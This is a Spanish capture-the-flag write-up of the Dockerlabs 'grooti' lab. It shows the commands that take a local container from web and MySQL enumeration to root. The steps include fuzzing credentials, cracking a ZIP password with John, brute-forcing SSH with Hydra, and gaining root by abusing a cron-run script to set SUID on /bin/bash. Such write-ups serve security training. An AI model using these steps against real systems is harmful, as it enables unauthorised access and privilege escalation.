Dockerlabs - grooti

Dockerlabs - grooti

Table of Contents

Herramientas y técnicas utilizadas

Herramientas

  • Nmap — Reconocimiento de puertos, servicios y versiones.
  • FFUF — Enumeración de directorios, recursos web y búsqueda de credenciales válidas mediante fuzzing.
  • Burp Suite — Interceptación y análisis de peticiones y respuestas HTTP.
  • John the Ripper — Obtención de la contraseña de un archivo ZIP protegido mediante ataque de diccionario.
  • Hydra — Ataque de fuerza bruta contra el servicio SSH utilizando una lista de posibles contraseñas.

Técnicas

  • Reconocimiento de servicios y puertos mediante Nmap.
  • Enumeración de recursos web mediante fuzzing con FFUF.
  • Reutilización de credenciales obtenidas a partir de información expuesta.
  • Enumeración de bases de datos MySQL y sus estructuras mediante el cliente de MySQL.
  • Fuzzing de credenciales para identificar una combinación válida de usuario y contraseña.
  • Cracking de contraseña de un archivo ZIP mediante extracción del hash con zip2john y ataque de diccionario con John the Ripper.
  • Fuerza bruta de credenciales SSH mediante Hydra.
  • Enumeración local de privilegios mediante la búsqueda de binarios SUID, revisión de permisos, sudo -l y tareas programadas.
  • Enumeración de tareas programadas mediante cron.
  • Identificación de un script ejecutado periódicamente con privilegios elevados.
  • Abuso de una tarea cron privilegiada mediante la modificación del script que esta ejecuta.
  • Escalada de privilegios mediante SUID, estableciendo el bit SUID sobre /bin/bash.
  • Obtención de una shell privilegiada mediante /bin/bash -p.

Escaneo

En primer lugar se lanza el comando nmap para escanear:

nmap -sC -sV -sS -p- -n --min-rate 5000 -T4 172.17.0.2

La salida que se obtiene:

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 46:69:49:1a:d0:b7:26:05:90:a3:22:b2:a8:fe:fd:83 (ECDSA)
|_  256 91:67:c5:15:53:13:af:6f:28:7d:1e:77:46:0c:c1:bb (ED25519)
80/tcp   open  http    Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: \xF0\x9F\x8C\xB1 Grooti's Web
3306/tcp open  mysql   MySQL 8.0.42-0ubuntu0.24.04.2
| ssl-cert: Subject: commonName=MySQL_Server_8.0.42_Auto_Generated_Server_Certificate
| Not valid before: 2025-07-18T22:37:08
|_Not valid after:  2035-07-16T22:37:08
| mysql-info: 
|   Protocol: 10

Los servicios expuestos son el SSH(22), HTTP(80), Mysql(3306)

HTTP

Explorando la página web en el navegador se aprecia un primer home con enlaces a distintos enlaces de la propia página alt text

En /imágenes se ve la imagen del home y un README.TXT en el que pone:

(password1) Encuentra donde ponerla ;)

En la url de /documentos da error 404

En el enlace de facturas de la nave (/archives) aparece un cuadro con facturas: alt text

ffuf

Aplicando ffuf

ffuf -c -u "http://172.17.0.2/FUZZ" -w /usr/share/wordlists/wfuzz/general/megabeast.txt -e .txt, .py, .bak, .php, .html

a la direción muestra una salida que no se ve inspeccionando el navegador, que es la “secret”

alt text

Entrando a ese directorio url se muestran tres usuarios y sus rangos alt text

Descargado el archivo que aparece en el botón de la página se encuentra el siguiente texto:

look carefully here ;)

al scrollear en mitad del fichero encuentro el siguiente comando:

mysql -u rocket -p -h 172.17.0.2 --ssl=0

Lanzo el comando de acceso y pruebo la credencial de readme.txt y consigo acceso a mysql con el usuario rocket que según el esquema tiene rango de Subcoordiandor.

alt text

Navego por la base de datos y encuentro unas rutas

MySQL [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| files_secret       |
| information_schema |
| performance_schema |
+--------------------+
3 rows in set (0,003 sec)

MySQL [(none)]> use files_secret;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MySQL [files_secret]> show tables;
+------------------------+
| Tables_in_files_secret |
+------------------------+
| rutas                  |
+------------------------+
1 row in set (0,001 sec)

MySQL [files_secret]> select * from rutas;
+----+------------+---------------------------------+
| id | nombre     | ruta                            |
+----+------------+---------------------------------+
|  1 | imagenes   | /var/www/html/files/imagenes/   |
|  2 | documentos | /var/www/html/files/documentos/ |
|  3 | facturas   | /var/www/html/files/facturas/   |
|  4 | secret     | /unprivate/secret               |
+----+------------+---------------------------------+
4 rows in set (0,000 sec)

Probando la URL que aparece en la base de datos encuentro este portal de logueo. alt text

Inspeccionando el código veo que utiliza un método POST de la acción generate.php

![alt text](/images/Dockerlab_grooti8.png)

Al intentar un logueo genera directamente un fichero a descargar y dentro de este distintos mensajes como “prueba de nuevo”, “prueba otra vez”, “caaaaasi ;)” he probado a repetir el número de serie y devuelve el mismo texto que escriba arriba, he probado comandos como whoami pero devuelve literalmente el texto whoami.

Observo el envío y la respuesta de GET y POST con Burpsuite

alt text

El usuario entiendo que es Grooti y la contraseña debe de ser uno de esos números por lo que mediante ffuf pruebo los distintos con una lista creada ad hoc y filtrada para evitar las respuestas que daban tamaño 6 que eran la mayoría.

alt text

En esta caso en vez de un fichero de texto facilita un fichero ZIP llamado “password16.zip”

Ahora con JohonTheRipper saco la contraseña:

zip2john password16.zip > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

La salida arroja la contraseña password1 alt text

tras descomprimir el zip aparece una lista con posibles contraseñas:

admin123
123456
qwerty
letmein
roottoor
12345678
password
summer2025
iloveyou
hunter2
passw0rd
toor123
changeme
adminadmin
welcome1
trustno1
abc123456
useruser
dragon2024
mydogrex
grootlove
Galaxy42
!P@ssword!
megasecret
YOLOgroot
P@ss1234
monkeybanana
YOgrootRULEZ
YoSoYgRoOt
finalchance
1qaz2wsx
batman2025
rootroot
hello123

Pruebo la lista de contraseñas que facilita el txt con hydra en ssh con los usuarios que se vieron en la captura anterior (grooti, rocket, Naia), con naia no se obtiene resultado pero con grooti si.

# hydra -l grooti -P password16.txt 172.17.0.2 ssh
Hydra v9.7 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-09-02 15:42:26
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 34 login tries (l:1/p:34), ~3 tries per task
[DATA] attacking ssh://172.17.0.2:22/
[22][ssh] host: 172.17.0.2   login: grooti   password: YoSoYgRoOt
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 2 final worker threads did not complete until end.
[ERROR] 2 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-09-02 15:42:31

alt text

Una vez dentro inicio una batería de reconocimiento:

  • listo ficheros con permisos SUID
grooti@b7a04ef4bd28:~$ find / -perm -4000 -type f 2>/dev/null
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/umount
/usr/bin/passwd
/usr/bin/su
/usr/bin/mount
/usr/bin/chfn
/usr/bin/sudo
  • Reviso también los archivos ocultos del home del usuario, no encuentro nada interesante.
grooti@b7a04ef4bd28:~$ ls -a
.  ..  .bash_logout  .bashrc  .cache  .local  .profile  .selected_editor
  • Intento ejecutar el comando sudo -l para ver si puedo ejectutar comandos como root
grooti@b7a04ef4bd28:~$ sudo -l
[sudo] password for grooti: 
Sorry, user grooti may not run sudo on b7a04ef4bd28.
  • Observo si hay alguna tarea programada con crontab -l
grooti@b7a04ef4bd28:~$ crontab -l
# Edit this file to introduce tasks to be run by cron.
[...] 
# 
# m h  dom mon dow   command

* * * * * /opt/cleanup.sh

Ese script se ejecutará cada minuto, por lo que decido investigar y tirar del hilo al respecto.

grooti@b7a04ef4bd28:~$ ls -l /opt/cleanup.sh 
-rwxr-xr-- 1 root root 36 Jul 22  2025 /opt/cleanup.sh

grooti@b7a04ef4bd28:~$ cat /opt/cleanup.sh 
#!/bin/bash

bash /tmp/malicious.sh

grooti@b7a04ef4bd28:~$ ls -l /tmp/malicious.sh 
-rwxrw-r-- 1 root grooti 221 Jul 22  2025 /tmp/malicious.sh

El script cleanup.sh con permisos root ejecuta un segundo script llamado malicious.sh, y esa es la clave que en el segundo scrip,el usuario grooti tiene permisos de escritura a través del grupo.

El siguiente paso es escalar privilegios, añadiéndole SUID a /bin/bash.

alt text

y finalmente ejecutar /bin/bash con SUID y se obtiene la flag.

grooti@b7a04ef4bd28:/tmp$ /bin/bash -p
bash-5.2# whoami
root
bash-5.2# cd
bash-5.2# ls
bash-5.2# cd /root/
bash-5.2# ls -a
.  ..  .bashrc	.local	.mysql_history	.profile  .selected_editor  .ssh  grooti.txt
bash-5.2# cat grooti.txt 
⠰⣶⣶⣶⣄⠀⠀⠀⢀⣀⠀⠀⣠⣄⡀⠀⠀⠀⠀⠀⠀⠀
⠀⠻⣿⣿⣿⡀⠀⠀⣿⠿⠷⢾⡏⠉⣿⣄⢀⣿⣷⡆⠀⠀
⢀⣠⣬⡁⢸⣿⣶⣿⣿⡇⠀⣾⡇⠀⣿⡏⠛⢻⣿⢧⣤⠀
⢸⣿⡿⡿⢻⠇⠀⢿⣿⡇⣠⣿⡇⣼⡿⠀⠀⣼⡏⢠⣾⠀
⢸⣿⡀⢀⣿⠀⣴⠈⣿⣿⣿⣿⣿⣿⠃⣾⣤⣿⠀⣼⣿⠀
⢸⣿⣧⢸⣿⣧⣿⣇⣿⣿⣿⣿⣿⣿⣾⣿⣿⣏⣼⣿⣿⠀
⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡄
⠈⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠁
⠀⢹⣿⣿⣿⣿⣿⠉⠙⣿⣿⣿⣿⣿⡯⠉⢻⣿⣿⣿⣿⠀
⠀⠸⣿⣿⣿⣧⡀⠀⣠⣿⣿⣿⣿⣄⠀⢀⣼⣿⣿⣿⠇⠀
⠀⠀⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟⠀⠀
⠀⠀⠘⣿⣿⣿⣿⣿⡿⠿⠿⢿⣿⣿⣿⣿⣿⣿⡟⠁⠀⠀
⠀⠀⠀⠘⣿⣿⣿⣿⣷⣄⣀⣀⣠⣿⣿⣿⣿⠏⠀⠀⠀⠀
⠀⠀⠀⠀⠈⠛⢿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠁⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠈⠛⠿⠿⠟⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀
bash-5.2# pwd
/root

alt text

Share :

Related Posts

Dockerlabs - wargames

Dockerlabs - wargames

Herramientas y técnicas Herramientas Nmap: descubrimiento de puertos y enumeración de servicios. WhatWeb: identificación de tecnologías del servidor web. FFUF: fuzzing y descubrimiento de recursos web. Netcat (nc): conexión directa con el servicio TCP del puerto 5000. SSH : acceso remoto con las credenciales obtenidas. John the Ripper : intento de cracking del hash obtenido. Hashes.com : identificación/recuperación de la contraseña a partir del hash. strings : extracción de cadenas legibles de un binario ELF. Técnicas Reconocimiento y enumeración de servicios. Fuzzing de directorios y archivos web. Enumeración de un servicio TCP desconocido. Prompt injection. Cracking de hashes. Enumeración de usuarios y privilegios. Enumeración de binarios SUID. Análisis estático de binarios. Escalada de privilegios mediante binario SUID. Fase 1. Reconocimiento Nmap El escaneo con nmap muestra:

Read More
Dockerlabs - Hannah Coffe

Dockerlabs - Hannah Coffe

Herramientas y técnicas Herramientas Nmap FFUF Netcat GTFOBins curl / navegador Técnicas Path Traversal / LFI Log Poisoning RCE Reverse Shell Linux Capabilities SUID Privilege Escalation Fase 1. Reconocimiento Nmap El paso básico, listar posibles servicios expuestos, al ser un laboratorio uso un escaneo agresivo.

Read More
Dockerlabs - Autoescuela

Dockerlabs - Autoescuela

LABORATORIO DOCKERLABS -> Autoescuela Herramientas y técnicas Herramientas Nmap Wscat Burp Suite Searchsploit Técnicas Enumeración de procesos (ps auxf) Explotación del Node.js Inspector mediante WebSocket Remote Code Execution (RCE) Reverse shell (nc -lvnp <puerto> / Penelope) Escalada de privilegios mediante SUID (chmod u+s /bin/bash + bash -p) Fase 1 Reconocimiento. Ping Una prueba básica, responde al ping 172.17.0.2. No siempre exitosa ni determinante ya que puede estar bloqueado el ICMP en la red.

Read More